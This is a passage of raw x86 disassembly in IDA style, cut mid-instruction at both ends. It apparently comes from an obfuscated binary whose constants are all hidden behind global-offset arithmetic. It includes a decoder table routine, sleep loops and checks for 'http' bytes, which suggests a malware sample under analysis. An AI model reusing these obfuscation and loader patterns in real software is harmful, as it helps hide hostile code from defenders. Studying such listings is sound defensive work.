eax, dword_5510E8 sub eax, 7 and eax, 0FFh push eax lea eax, [ebp+var_EF23] push eax push dword_5512DC call sub_444970 add esp, 0Ch push offset aC ; "C" call sub_43AC94 add esp, 4 mov edi, [ebp+arg_18] mov esi, [ebp+arg_8] mov ebx, edi add ebx, esi push ebx movsx ebx, word_551228 add ebx, 3 push ebx push [ebp+arg_1C] push edi push [ebp+arg_14] movzx edi, [ebp+var_F02B] push edi mov edi, esi sub edi, [ebp+arg_C] mov esi, dword_551128 add esi, dword_5511F0 sub esi, 0Ch sub edi, esi push edi push offset dword_48C300 push [ebp+arg_10] push [ebp+arg_20] lea edi, [ebp+var_EF23] push edi lea edi, [ebp+var_F022] push edi push eax lea edi, [ebp+var_EE24] push edi call ds:dword_50EA28 add esp, 38h mov eax, dword_551128 movsx edx, word_551228 add eax, edx sub eax, 0Ch cmp [ebp+arg_10], eax jnz short loc_4425E9 mov eax, dword_5510F8 add eax, dword_5510D0 sub eax, 8 cmp [ebp+arg_18], eax jnz short loc_4425E9 push offset word_551CAA call sub_43AC94 add esp, 4 push offset dword_54EC10 push dword_5510A4 push [ebp+arg_20] lea edi, [ebp+var_EF23] push edi lea edi, [ebp+var_F022] push edi push eax lea edi, [ebp+var_2F033] push edi call ds:dword_50EA28 add esp, 1Ch lea eax, [ebp+var_2F033] push eax lea eax, [ebp+var_EE24] push eax call ds:dword_44802C add esp, 8 loc_4425E9: ; CODE XREF: sub_4423A6+7Fj ; sub_4423A6+12Dj ... push [ebp+var_2F038] push [ebp+var_F02A] mov eax, dword_551258 neg eax push eax lea eax, [ebp+var_EE24] push eax mov eax, dword_551138 sub eax, 3 push eax push 0 call ds:dword_50EA34 push offset asc_551C90 ; "\t" call sub_43AEDD add esp, 4 push eax call ds:dword_44900C mov [ebp+var_F030], eax push [ebp+var_F02A] call ds:dword_44900C mov [ebp+var_F034], eax push eax push [ebp+var_F030] mov eax, [ebp+arg_4] push eax mov ebx, [eax] call dword ptr [ebx+104h] push [ebp+var_F034] call ds:dword_550034 push [ebp+var_F030] call ds:dword_550034 lea esp, [ebp-2F044h] pop edi pop esi pop ebx leave retn sub_4423A6 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_442677 proc near ; CODE XREF: sub_43A985+11Bp var_10 = dword ptr -10h var_C = dword ptr -0Ch var_8 = dword ptr -8 var_4 = dword ptr -4 arg_0 = dword ptr 8 arg_4 = dword ptr 0Ch arg_8 = dword ptr 10h push ebp mov ebp, esp sub esp, 10h push ebx push esi push edi lea eax, [ebp+var_4] push eax push [ebp+arg_0] call sub_43E369 add esp, 8 mov esi, eax movsx eax, word_5511BC movsx edx, word_551168 add eax, edx sub eax, 9 cmp esi, eax jnz short loc_4426AF xor eax, eax jmp loc_442762 ; --------------------------------------------------------------------------- loc_4426AF: ; CODE XREF: sub_442677+2Fj mov edi, dword_551174 add edi, 3 mov eax, [ebp+arg_4] mov ecx, eax or eax, 0FFFFFFFFh loc_4426C0: ; CODE XREF: sub_442677+4Ej inc eax cmp byte ptr [ecx+eax], 0 jnz short loc_4426C0 mov [ebp+var_8], eax loc_4426CA: ; CODE XREF: sub_442677+DCj lea ecx, [esi+edi] or eax, 0FFFFFFFFh loc_4426D0: ; CODE XREF: sub_442677+5Ej inc eax cmp byte ptr [ecx+eax], 0 jnz short loc_4426D0 mov ebx, eax sub ebx, [ebp+arg_8] cmp ebx, [ebp+var_8] jnz short loc_442739 mov [ebp+var_10], 1 movsx eax, word_551110 movsx edx, word_551094 add eax, edx sub eax, 4 mov [ebp+var_C], eax jmp short loc_442722 ; --------------------------------------------------------------------------- loc_442700: ; CODE XREF: sub_442677+AEj mov eax, [ebp+var_C] mov edx, edi add edx, [ebp+arg_8] add edx, eax movzx edx, byte ptr [esi+edx] mov ecx, [ebp+arg_4] movsx eax, byte ptr [ecx+eax] cmp edx, eax jz short loc_44271F and [ebp+var_10], 0 jmp short loc_442727 ; --------------------------------------------------------------------------- loc_44271F: ; CODE XREF: sub_442677+A0j inc [ebp+var_C] loc_442722: ; CODE XREF: sub_442677+87j cmp [ebp+var_C], ebx jb short loc_442700 loc_442727: ; CODE XREF: sub_442677+A6j cmp [ebp+var_10], 0 jz short loc_442739 push esi call ds:dword_44B5CC xor eax, eax inc eax jmp short loc_442762 ; --------------------------------------------------------------------------- loc_442739: ; CODE XREF: sub_442677+68j ; sub_442677+B4j add edi, ebx movsx eax, word_5510A0 add eax, dword_55124C sub eax, 7 add edi, eax add edi, [ebp+arg_8] cmp edi, [ebp+var_4] jb loc_4426CA push esi call ds:dword_44B5CC xor eax, eax loc_442762: ; CODE XREF: sub_442677+33j ; sub_442677+C0j pop edi pop esi pop ebx leave retn sub_442677 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: noreturn bp-based frame sub_442767 proc near ; DATA XREF: sub_441AE5+189o push ebp mov ebp, esp loc_44276A: ; CODE XREF: sub_442767+34j movsx eax, word_551260 sub eax, 9 push eax push offset sub_43E2F5 mov eax, dword_5510F4 sub eax, 2 push eax call ds:dword_449010 movsx eax, word_551188 sub eax, 5 push eax call ds:dword_50EA24 pop ecx jmp short loc_44276A sub_442767 endp ; --------------------------------------------------------------------------- pop ebp retn 4 ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_4427A1 proc near ; CODE XREF: sub_43BF49+F5p ; sub_4467C4+28Fp ... var_41C = dword ptr -41Ch var_418 = dword ptr -418h var_40D = byte ptr -40Dh var_40C = dword ptr -40Ch var_408 = dword ptr -408h var_404 = dword ptr -404h var_400 = dword ptr -400h arg_0 = dword ptr 8 arg_4 = dword ptr 0Ch arg_8 = dword ptr 10h push ebp mov ebp, esp sub esp, 41Ch push ebx push esi push edi mov eax, dword_5510C8 mov esi, eax add esi, dword_55119C sub esi, 7 jmp short loc_4427D8 ; --------------------------------------------------------------------------- loc_4427BF: ; CODE XREF: sub_4427A1+43j mov edx, dword_551244 add edx, dword_55124C sub edx, 0Bh neg edx mov [ebp+esi*4+var_400], edx inc esi loc_4427D8: ; CODE XREF: sub_4427A1+1Cj mov eax, dword_551238 add eax, 0F7h cmp esi, eax jb short loc_4427BF mov ebx, [ebp+arg_4] movsx eax, word_551110 dec eax mov [ebp+var_408], eax mov edx, dword_5511D4 add edx, 1Dh add edx, dword_551238 movsx ecx, word_5511AC mov eax, dword_5510D4 lea ecx, [ecx+eax+32h] mov [ebp+edx*4+var_400], ecx mov eax, [ebp+arg_8] add eax, ebx mov [ebp+var_404], eax movsx edx, word_55115C movsx ecx, word_551268 lea edx, [edx+ecx+25h] movsx ecx, word_551104 movsx eax, word_551240 lea ecx, [ecx+eax+38h] mov [ebp+edx*4+var_400], ecx movsx eax, word_551220 mov edi, eax add edi, dword_551100 dec edi jmp short loc_44289B ; --------------------------------------------------------------------------- loc_442865: ; CODE XREF: sub_4427A1+10Aj movsx edx, word_551144 lea edx, [edx+edi+40h] mov [ebp+edx*4+var_400], edi movsx edx, word_551120 add edx, 5Eh mov ecx, edi add ecx, edx movsx edx, word_55115C add edx, 17h mov eax, edi add eax, edx mov [ebp+ecx*4+var_400], eax inc edi loc_44289B: ; CODE XREF: sub_4427A1+C2j mov eax, dword_551100 add eax, 1Ah add eax, dword_5510BC cmp edi, eax jb short loc_442865 mov eax, dword_551258 add eax, dword_55109C sub eax, 8 mov [ebp+var_40C], eax mov edi, dword_551150 add edi, 2Ch jmp short loc_4428EA ; --------------------------------------------------------------------------- loc_4428CC: ; CODE XREF: sub_4427A1+153j mov edx, dword_5510DC movsx ecx, word_551194 add edx, ecx sub edx, 0Ah mov ecx, edi add ecx, edx mov [ebp+edi*4+var_400], ecx inc edi loc_4428EA: ; CODE XREF: sub_4427A1+129j mov eax, dword_5511F0 add eax, 31h cmp edi, eax jb short loc_4428CC mov eax, dword_551198 mov esi, eax add esi, dword_5510D4 sub esi, 0Ah mov edi, [ebp+arg_0] jmp loc_442A44 ; --------------------------------------------------------------------------- loc_44290E: ; CODE XREF: sub_4427A1+2AEj movsx edx, byte ptr [edi] shl edx, 2 mov esi, [ebp+edx+var_400] mov eax, dword_551130 sub eax, 2 neg eax cmp esi, eax jz loc_442A43 mov eax, [ebp+var_408] or eax, eax jl loc_442A3D cmp eax, 3 jg loc_442A3D jmp off_551424[eax*4] loc_44294B: ; DATA XREF: .data:off_551424o inc [ebp+var_408] jmp loc_442A3D ; --------------------------------------------------------------------------- loc_442956: ; CODE XREF: sub_4427A1+1A3j ; DATA XREF: .data:00551428o mov edx, [ebp+var_40C] mov ecx, dword_551200 dec ecx mov eax, edx shl eax, cl mov [ebp+var_418], eax mov edx, esi and edx, 30h mov ecx, dword_5511D0 add ecx, dword_551114 dec ecx mov eax, edx sar eax, cl mov edx, [ebp+var_418] or edx, eax mov [ebp+var_40D], dl inc [ebp+var_408] mov eax, ebx inc ebx mov dl, [ebp+var_40D] mov [eax], dl jmp loc_442A3D ; --------------------------------------------------------------------------- loc_4429A7: ; CODE XREF: sub_4427A1+1A3j ; DATA XREF: .data:0055142Co mov edx, [ebp+var_40C] and edx, 0Fh mov ecx, dword_5511E8 sub ecx, 3 mov eax, edx shl eax, cl mov [ebp+var_41C], eax mov edx, esi and edx, 3Ch movsx ecx, word_5511C4 add ecx, dword_5511D4 sub ecx, 0Eh mov eax, edx sar eax, cl mov edx, [ebp+var_41C] or edx, eax mov [ebp+var_40D], dl inc [ebp+var_408] mov eax, ebx inc ebx mov dl, [ebp+var_40D] mov [eax], dl jmp short loc_442A3D ; --------------------------------------------------------------------------- loc_4429FD: ; CODE XREF: sub_4427A1+1A3j ; DATA XREF: .data:00551430o mov edx, [ebp+var_40C] and edx, 3 movsx ecx, word_5511CC mov eax, edx shl eax, cl mov edx, eax or edx, esi mov [ebp+var_40D], dl mov eax, ebx inc ebx mov dl, [ebp+var_40D] mov [eax], dl mov eax, dword_5511F8 movsx edx, word_5510F0 add eax, edx sub eax, 0Ah mov [ebp+var_408], eax loc_442A3D: ; CODE XREF: sub_4427A1+194j ; sub_4427A1+19Dj ... mov [ebp+var_40C], esi loc_442A43: ; CODE XREF: sub_4427A1+186j inc edi loc_442A44: ; CODE XREF: sub_4427A1+168j cmp byte ptr [edi], 0 jz short loc_442A55 cmp ebx, [ebp+var_404] jb loc_44290E loc_442A55: ; CODE XREF: sub_4427A1+2A6j movsx eax, byte ptr [edi] mov edx, dword_5511B8 sub edx, 7 cmp eax, edx jnz short loc_442A6C mov eax, ebx sub eax, [ebp+arg_4] jmp short loc_442A73 ; --------------------------------------------------------------------------- loc_442A6C: ; CODE XREF: sub_4427A1+2C2j mov eax, dword_551218 neg eax loc_442A73: ; CODE XREF: sub_4427A1+2C9j pop edi pop esi pop ebx leave retn sub_4427A1 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_442A78 proc near ; CODE XREF: sub_43E491+3D7p ; sub_4467C4:loc_446E2Fp var_445 = byte ptr -445h var_341 = byte ptr -341h var_23D = byte ptr -23Dh var_13E = byte ptr -13Eh var_112 = byte ptr -112h push ebp mov ebp, esp sub esp, 448h push ebx push esi push edi lea eax, [ebp+var_341] push eax movsx eax, word_551274 add eax, dword_551118 sub eax, 0Ah push eax mov eax, dword_551150 add eax, dword_55125C sub eax, 9 push eax push 1Ch movsx eax, word_5511EC movsx edx, word_551188 add eax, edx sub eax, 8 push eax call ds:dword_48BA00 lea eax, [ebp+var_341] push eax lea eax, [ebp+var_445] push eax call ds:dword_44B1A4 push offset word_551C82 call sub_43AC94 push eax lea edx, [ebp+var_445] push edx call ds:dword_44802C add esp, 14h lea eax, [ebp+var_13E] push eax lea eax, [ebp+var_445] push eax call ds:dword_4CC328 mov ebx, eax mov eax, dword_55109C add eax, 0FFFFFFF5h add eax, dword_551138 cmp eax, ebx jz loc_442BE7 lea eax, [ebp+var_112] push eax lea eax, [ebp+var_341] push eax call sub_441D71 add esp, 8 xor esi, esi inc esi loc_442B3B: ; CODE XREF: sub_442A78+F8j lea eax, [ebp+var_13E] push eax push ebx call ds:dword_449FC8 mov esi, eax or esi, esi jnz short loc_442B58 push ebx call ds:dword_44B5BC jmp short loc_442B72 ; --------------------------------------------------------------------------- loc_442B58: ; CODE XREF: sub_442A78+D5j lea eax, [ebp+var_112] push eax lea eax, [ebp+var_341] push eax call sub_441D71 add esp, 8 or esi, esi jnz short loc_442B3B loc_442B72: ; CODE XREF: sub_442A78+DEj mov eax, dword_5510B4 movsx edx, word_5510E4 add eax, edx movsx edx, word_551214 sub edx, 3 mov ds:byte_54EC0C[eax], dl mov eax, dword_5511D8 mov edi, eax add edi, dword_551150 sub edi, 0Bh jmp short loc_442BDF ; --------------------------------------------------------------------------- loc_442BA3: ; CODE XREF: sub_442A78+16Dj push offset dword_551C78 call sub_43AC94 push ds:dword_4CEA20[edi*4] push ds:dword_48C320[edi*4] push eax lea edx, [ebp+var_23D] push edx call ds:dword_50EA28 lea eax, [ebp+var_23D] push eax push offset dword_54EC10 call ds:dword_44802C add esp, 1Ch inc edi loc_442BDF: ; CODE XREF: sub_442A78+129j cmp edi, dword_5512BC jb short loc_442BA3 loc_442BE7: ; CODE XREF: sub_442A78+A4j pop edi pop esi pop ebx leave retn sub_442A78 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: noreturn bp-based frame sub_442BEC proc near ; DATA XREF: sub_441AE5+17Fo push ebp mov ebp, esp loc_442BEF: ; CODE XREF: sub_442BEC+23j call sub_43ADE6 mov eax, dword_551204 add eax, 1D4B8h movsx edx, word_5511BC add eax, edx push eax call ds:dword_50EA24 pop ecx jmp short loc_442BEF sub_442BEC endp ; --------------------------------------------------------------------------- pop ebp retn 4 ; =============== S U B R O U T I N E ======================================= sub_442C15 proc near ; CODE XREF: sub_43E491+3CDp push edi movsx edi, word_551180 sub edi, 2 jmp short loc_442C3A ; --------------------------------------------------------------------------- loc_442C22: ; CODE XREF: sub_442C15+31j movsx eax, word_5511C4 add eax, dword_55118C sub eax, 7 mov ds:byte_550140[edi], al inc edi loc_442C3A: ; CODE XREF: sub_442C15+Bj movsx eax, word_551180 add eax, 0Eh cmp edi, eax jb short loc_442C22 mov eax, dword_5511DC mov edx, dword_551230 add edx, 0B2h add edx, eax mov ds:byte_55013F[eax], dl movsx eax, word_551220 movsx edx, word_5510CC mov ecx, dword_5510D0 lea edx, [edx+ecx+3Dh] mov ds:byte_55014E[eax], dl pop edi retn sub_442C15 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: noreturn bp-based frame sub_442C83 proc near ; DATA XREF: sub_43CB55+19Ao var_A = byte ptr -0Ah arg_0 = dword ptr 8 push ebp mov ebp, esp sub esp, 0Ch push esi push edi mov edi, [ebp+arg_0] push offset sub_445D32 push dword ptr fs:0 mov fs:0, esp push offset dword_551C70 call sub_43AC94 push dword ptr [edi] push eax lea esi, [ebp+var_A] push esi call ds:dword_50EA28 add esp, 10h loc_442CB9: ; CODE XREF: sub_442C83+5Aj push 0 push dword ptr [edi] lea eax, [ebp+var_A] push eax call sub_44757D movsx eax, word_55120C add eax, dword_551100 push eax call ds:dword_50EA24 add esp, 10h jmp short loc_442CB9 sub_442C83 endp ; --------------------------------------------------------------------------- pop edi pop esi leave retn 4 ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_442CE5 proc near ; CODE XREF: sub_43E04C+169p var_FFF = byte ptr -0FFFh arg_0 = dword ptr 8 push ebp mov ebp, esp mov eax, 1000h call sub_44797C push ebx push esi push edi mov eax, dword_551184 add eax, dword_551130 sub eax, 0Bh push eax lea eax, [ebp+var_FFF] push eax call sub_43C10A add esp, 8 mov eax, dword_5511F8 mov edi, eax add edi, dword_5511C0 sub edi, 7 jmp short loc_442D41 ; --------------------------------------------------------------------------- loc_442D25: ; CODE XREF: sub_442CE5+62j cmp [ebp+edi+var_FFF], 23h jnz short loc_442D40 movsx eax, word_551094 sub eax, 3 mov [ebp+edi+var_FFF], al loc_442D40: ; CODE XREF: sub_442CE5+48j inc edi loc_442D41: ; CODE XREF: sub_442CE5+3Ej cmp edi, 0FFFh jb short loc_442D25 lea esi, [ebp+var_FFF] loc_442D4F: ; CODE XREF: sub_442CE5+FCj push offset dword_551C6C call sub_43AC94 push offset dword_449FE0 movsx ebx, word_551234 sub ebx, 4 push ebx mov ebx, dword_5511F0 sub ebx, 9 push ebx push eax mov ebx, dword_551178 sub ebx, 3 push ebx mov ebx, dword_551148 add ebx, dword_5510FC sub ebx, 9 push ebx push esi push [ebp+arg_0] mov ebx, dword_551128 sub ebx, 5 and ebx, 0FFh push ebx call sub_4423A6 add esp, 28h mov ecx, esi or eax, 0FFFFFFFFh loc_442DAF: ; CODE XREF: sub_442CE5+CFj inc eax cmp byte ptr [ecx+eax], 0 jnz short loc_442DAF mov edx, dword_551174 add edx, dword_55117C sub edx, 5 add edx, eax lea esi, [esi+edx] mov eax, dword_551198 sub eax, 3 movsx eax, byte ptr [esi+eax] mov edx, dword_55110C sub edx, 9 cmp eax, edx jnz loc_442D4F pop edi pop esi pop ebx leave retn sub_442CE5 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_442DEC proc near ; DATA XREF: .data:005512D8o var_4 = dword ptr -4 arg_0 = dword ptr 8 arg_10 = dword ptr 18h push ebp mov ebp, esp push ecx push ebx push esi push edi mov esi, [ebp+arg_0] mov eax, [ebp+arg_10] mov word ptr [ebp+arg_10], ax movsx eax, word_551260 inc eax cmp ds:dword_44B5D0, eax jnb short loc_442E1A mov eax, dword_5511F0 sub eax, 9 mov ds:dword_44B5D0, eax loc_442E1A: ; CODE XREF: sub_442DEC+1Fj mov edi, dword_5511E8 sub edi, 7 jmp short loc_442E31 ; --------------------------------------------------------------------------- loc_442E25: ; CODE XREF: sub_442DEC+53j lea ebx, ds:44A0E0h[edi*4] cmp ebx, esi jz short loc_442E41 inc edi loc_442E31: ; CODE XREF: sub_442DEC+37j movsx eax, word_551210 add eax, 3E5h cmp edi, eax jb short loc_442E25 loc_442E41: ; CODE XREF: sub_442DEC+42j mov eax, dword_551164 add eax, 3E8h cmp eax, edi jnz short loc_442E56 xor eax, eax jmp loc_442FDF ; --------------------------------------------------------------------------- loc_442E56: ; CODE XREF: sub_442DEC+61j mov esi, dword_551208 add esi, dword_5510D4 sub esi, 8 movzx ebx, ds:word_48BA10[edi*2] cmp esi, ebx jnz short loc_442EA1 movzx eax, ds:byte_44B1B0[edi] push eax push ds:dword_449020[edi*4] call sub_44569A add esp, 8 movsx esi, word_551094 sub esi, 3 mov ds:dword_44A0E0[edi*4], esi xor eax, eax jmp loc_442FDF ; --------------------------------------------------------------------------- loc_442EA1: ; CODE XREF: sub_442DEC+83j mov esi, dword_551128 add esi, 0FFF7h movsx ebx, word_5510B0 add esi, ebx movzx ebx, ds:word_48BA10[edi*2] cmp esi, ebx jnz loc_442FB9 movsx eax, word_551224 add eax, dword_551108 sub eax, 4 mov [ebp+var_4], eax jmp loc_442FA2 ; --------------------------------------------------------------------------- loc_442EDE: ; CODE XREF: sub_442DEC+1C3j mov esi, [ebp+var_4] movzx ebx, ds:word_48BA10[esi*2] mov edx, dword_5510DC add edx, 0FFF3h add edx, dword_55124C cmp ebx, edx jz loc_442F9F mov ebx, esi shl ebx, 2 mov edx, ds:dword_449020[edi*4] cmp ds:dword_449020[ebx], edx jnz loc_442F9F mov edx, dword_55113C movsx ecx, word_5511C4 add edx, ecx sub edx, 10h cmp ds:dword_44A0E0[ebx], edx jz short loc_442F9F mov bl, ds:byte_44B1B0[esi] cmp bl, ds:byte_44B1B0[edi] jnz short loc_442F9F movzx esi, ds:word_48BA10[esi*2] movsx ebx, word_55123C movsx edx, word_551168 add ebx, edx sub ebx, 6 cmp esi, ebx jnz short loc_442F90 mov esi, dword_551100 mov ds:dword_44A0E0[edi*4], esi mov esi, [ebp+var_4] movzx ebx, ds:byte_44B1B0[esi] push ebx push ds:dword_449020[esi*4] call sub_44569A add esp, 8 jmp short loc_442FB5 ; --------------------------------------------------------------------------- loc_442F90: ; CODE XREF: sub_442DEC+178j mov esi, [ebp+var_4] lea esi, ds:48BA10h[esi*2] dec word ptr [esi] jmp short loc_442FB5 ; --------------------------------------------------------------------------- loc_442F9F: ; CODE XREF: sub_442DEC+111j ; sub_442DEC+12Aj ... inc [ebp+var_4] loc_442FA2: ; CODE XREF: sub_442DEC+EDj mov eax, dword_5511B8 add eax, 3E1h cmp [ebp+var_4], eax jb loc_442EDE loc_442FB5: ; CODE XREF: sub_442DEC+1A2j ; sub_442DEC+1B1j xor eax, eax jmp short loc_442FDF ; --------------------------------------------------------------------------- loc_442FB9: ; CODE XREF: sub_442DEC+D4j movzx esi, ds:word_48BA10[edi*2] movsx ebx, word_5511A8 add ebx, dword_551124 sub ebx, 8 cmp esi, ebx jle short loc_442FDD dec ds:word_48BA10[edi*2] loc_442FDD: ; CODE XREF: sub_442DEC+1E7j xor eax, eax loc_442FDF: ; CODE XREF: sub_442DEC+65j ; sub_442DEC+B0j ... pop edi pop esi pop ebx leave retn 24h sub_442DEC endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_442FE6 proc near ; DATA XREF: .data:005512C8o push ebp mov ebp, esp movsx eax, word_551140 sub eax, 5 cmp ds:dword_54FC14, eax jbe short loc_443006 push offset dword_54FC14 call ds:dword_448014 loc_443006: ; CODE XREF: sub_442FE6+13j mov eax, ds:dword_54FC14 pop ebp retn 4 sub_442FE6 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_44300F proc near ; CODE XREF: sub_4457CD+29p var_71F15 = byte ptr -71F15h var_71F0B = byte ptr -71F0Bh var_70F0C = dword ptr -70F0Ch var_70F08 = word ptr -70F08h var_70F00 = dword ptr -70F00h var_70EFB = byte ptr -70EFBh var_70EF4 = dword ptr -70EF4h var_70EEF = byte ptr -70EEFh var_60EF0 = word ptr -60EF0h var_60EE8 = dword ptr -60EE8h var_60EDD = byte ptr -60EDDh var_60EDC = dword ptr -60EDCh var_60ED8 = dword ptr -60ED8h var_60ED4 = dword ptr -60ED4h var_60ED0 = word ptr -60ED0h var_60EC8 = dword ptr -60EC8h var_60EBC = dword ptr -60EBCh var_60EB8 = dword ptr -60EB8h var_60EB4 = dword ptr -60EB4h var_60EB0 = dword ptr -60EB0h var_60EAC = dword ptr -60EACh var_60EA8 = dword ptr -60EA8h var_60EA4 = dword ptr -60EA4h var_60EA0 = dword ptr -60EA0h var_60E9B = byte ptr -60E9Bh var_50EA7 = byte ptr -50EA7h var_50E9C = dword ptr -50E9Ch var_50E97 = byte ptr -50E97h var_40EB8 = word ptr -40EB8h var_40EB0 = dword ptr -40EB0h var_40EA8 = byte ptr -40EA8h var_40EA0 = dword ptr -40EA0h var_40E98 = dword ptr -40E98h var_40E94 = byte ptr -40E94h var_40E90 = dword ptr -40E90h var_40E8C = dword ptr -40E8Ch var_40E88 = dword ptr -40E88h var_40E84 = dword ptr -40E84h var_40E80 = byte ptr -40E80h var_40E78 = dword ptr -40E78h var_40E70 = dword ptr -40E70h var_40E6C = dword ptr -40E6Ch var_40E68 = dword ptr -40E68h var_40E64 = dword ptr -40E64h var_40E60 = dword ptr -40E60h var_40E59 = byte ptr -40E59h var_40E57 = byte ptr -40E57h var_30E58 = dword ptr -30E58h var_30E54 = dword ptr -30E54h var_30E50 = dword ptr -30E50h var_30E4C = dword ptr -30E4Ch var_30E48 = dword ptr -30E48h var_30E44 = dword ptr -30E44h var_30E3F = byte ptr -30E3Fh var_30D4F = byte ptr -30D4Fh var_30D4B = byte ptr -30D4Bh var_30D42 = byte ptr -30D42h var_30D40 = byte ptr -30D40h arg_0 = dword ptr 8 push ebp mov ebp, esp mov eax, 71F0Ch call sub_44797C push ebx push esi push edi lea eax, [ebp+var_40E80] push eax call ds:dword_448048 lea eax, [ebp+var_40E94] push eax lea eax, [ebp+var_40E80] push eax push 9 mov eax, dword_551124 sub eax, 9 push eax push [ebp+arg_0] call ds:dword_4CC324 mov ebx, eax mov eax, dword_551154 add eax, dword_5510C4 sub eax, 10h cmp ebx, eax jnz loc_443E7B mov eax, [ebp+var_40E78] mov [ebp+var_40E64], eax movsx ecx, word_5510A0 sub ecx, 7 mov [ebp+var_40E60], ecx lea ecx, [ebp+var_40E60] push ecx push offset dword_552AA4 mov eax, [ebp+var_40E64] push eax mov edi, [eax] call dword ptr ds:0[edi] mov ebx, eax mov eax, dword_551114 movsx edx, word_551104 add eax, edx sub eax, 7 cmp eax, ebx jnz loc_443E7B lea eax, [ebp+var_40E84] push eax mov eax, [ebp+var_40E60] push eax mov edi, [eax] call dword ptr [edi+78h] mov ebx, eax mov eax, dword_551138 add eax, dword_5511D0 sub eax, 6 cmp ebx, eax jnz loc_443E6F lea eax, [ebp+var_40E57] push eax push [ebp+var_40E84] call sub_44582B add esp, 8 push [ebp+var_40E84] call ds:dword_550034 mov eax, dword_551238 mov edx, dword_551148 add edx, eax cmp byte ptr [ebp+edx+var_40E68+3], 74h jnz short loc_443156 movsx edx, word_5510F0 add edx, dword_5510C8 cmp [ebp+edx+var_40E59], 74h jnz short loc_443156 add eax, dword_551108 cmp byte ptr [ebp+eax+var_40E60+1], 70h jnz short loc_443156 mov eax, dword_551184 mov edx, eax add edx, eax cmp byte ptr [ebp+edx+var_40E68+1], 68h jz short loc_44315B loc_443156: ; CODE XREF: sub_44300F+10Bj ; sub_44300F+122j ... jmp loc_443E6F ; --------------------------------------------------------------------------- loc_44315B: ; CODE XREF: sub_44300F+145j lea eax, [ebp+var_30E4C] push eax mov eax, [ebp+var_40E60] push eax mov edi, [eax] call dword ptr [edi+94h] mov ebx, eax movsx eax, word_551110 movsx edx, word_5511EC add eax, edx sub eax, 4 cmp ebx, eax jz short loc_44319E mov eax, dword_551128 add eax, dword_5511A0 sub eax, 7 mov [ebp+var_30E4C], eax loc_44319E: ; CODE XREF: sub_44300F+179j lea eax, [ebp+var_40E68] push eax mov eax, [ebp+var_40E60] push eax mov edi, [eax] call dword ptr [edi+48h] mov ebx, eax mov eax, dword_55114C sub eax, 6 cmp ebx, eax jnz loc_443E6F lea eax, [ebp+var_40E6C] push eax push offset dword_552A34 mov eax, [ebp+var_40E68] push eax mov edi, [eax] call dword ptr ds:0[edi] mov ebx, eax mov eax, dword_551090 movsx edx, word_5511CC add eax, edx sub eax, 7 cmp eax, ebx jnz loc_443E63 lea eax, [ebp+var_40E70] push eax mov eax, [ebp+var_40E6C] push eax mov edi, [eax] call dword ptr [edi+5Ch] mov ebx, eax mov eax, dword_5510E8 sub eax, 7 cmp ebx, eax jnz loc_443E57 lea eax, [ebp+var_40E90] push eax mov eax, [ebp+var_40E70] push eax mov edi, [eax] call dword ptr [edi+20h] mov ebx, eax mov eax, dword_5511F4 sub eax, 5 cmp ebx, eax jnz loc_443E4B push offset dword_551C5C call sub_43AEDD push eax call ds:dword_44900C mov [ebp+var_30E44], eax mov eax, dword_5511C0 add eax, dword_551174 neg eax mov [ebp-40E5Ch], eax push offset dword_551C48 call sub_43AEDD push eax call ds:dword_44900C mov [ebp+var_30E48], eax mov eax, dword_5510F4 mov [ebp+eax+var_30D42], 44h mov eax, dword_551184 add eax, dword_551238 mov edx, dword_5510BC add edx, dword_55124C sub edx, 5 mov [ebp+eax+var_30D4F], dl movsx eax, word_55123C add eax, dword_55110C mov [ebp+eax+var_30D4B], 7Ch lea eax, [ebp+var_40E57] push eax lea eax, [ebp+var_30D40] push eax call ds:dword_44802C add esp, 10h loc_4432DF: ; CODE XREF: sub_44300F+E10j movsx eax, word_551214 sub eax, 3 mov [ebp+var_40E88], eax movsx eax, word_551144 add eax, dword_551178 sub eax, 4 mov [ebp+var_40E8C], eax mov eax, dword_5510BC add eax, dword_551198 sub eax, 2 neg eax cmp [ebp-40E5Ch], eax jnz short loc_44336D lea eax, [ebp+var_30E54] push eax mov eax, [ebp+var_40E6C] push eax mov edi, [eax] call dword ptr [edi+38h] mov ebx, eax movsx eax, word_551260 movsx edx, word_551240 add eax, edx sub eax, 0Ah cmp eax, ebx jnz loc_443E0D push offset byte_551C37 call sub_43AC94 push eax lea edi, [ebp+var_30D40] push edi call ds:dword_44802C add esp, 0Ch jmp loc_443486 ; --------------------------------------------------------------------------- loc_44336D: ; CODE XREF: sub_44300F+30Cj mov [ebp+var_40EB8], 17h mov eax, [ebp-40E5Ch] mov [ebp+var_40EB0], eax lea eax, [ebp+var_40EA8] push eax lea eax, [ebp+var_40EB8] push eax mov eax, [ebp+var_40E70] push eax mov esi, [eax] call dword ptr [esi+1Ch] lea eax, [ebp+var_40E88] push eax push offset dword_552A84 push [ebp+var_40EA0] mov edi, [ebp+var_40EA0] mov edi, [edi] call dword ptr ds:0[edi] mov ebx, eax mov eax, dword_55121C add eax, dword_5511DC sub eax, 9 cmp eax, ebx jnz loc_443E0D lea eax, [ebp+var_40E8C] push eax mov eax, [ebp+var_40E88] push eax mov edi, [eax] call dword ptr [edi+0D0h] mov ebx, eax mov eax, dword_551184 sub eax, 8 cmp ebx, eax jz short loc_44340A mov eax, [ebp+var_40E88] push eax mov esi, [eax] call dword ptr [esi+8] jmp loc_443E0D ; --------------------------------------------------------------------------- loc_44340A: ; CODE XREF: sub_44300F+3E8j lea eax, [ebp+var_30E54] push eax mov eax, [ebp+var_40E8C] push eax mov edi, [eax] call dword ptr [edi+38h] mov ebx, eax mov eax, dword_5511D8 movsx edx, word_5510D8 add eax, edx sub eax, 10h cmp ebx, eax jz short loc_443451 mov eax, [ebp+var_40E8C] push eax mov esi, [eax] call dword ptr [esi+8] mov eax, [ebp+var_40E88] push eax mov esi, [eax] call dword ptr [esi+8] jmp loc_443E0D ; --------------------------------------------------------------------------- loc_443451: ; CODE XREF: sub_44300F+423j push offset dword_551C28 call sub_43AC94 push dword ptr 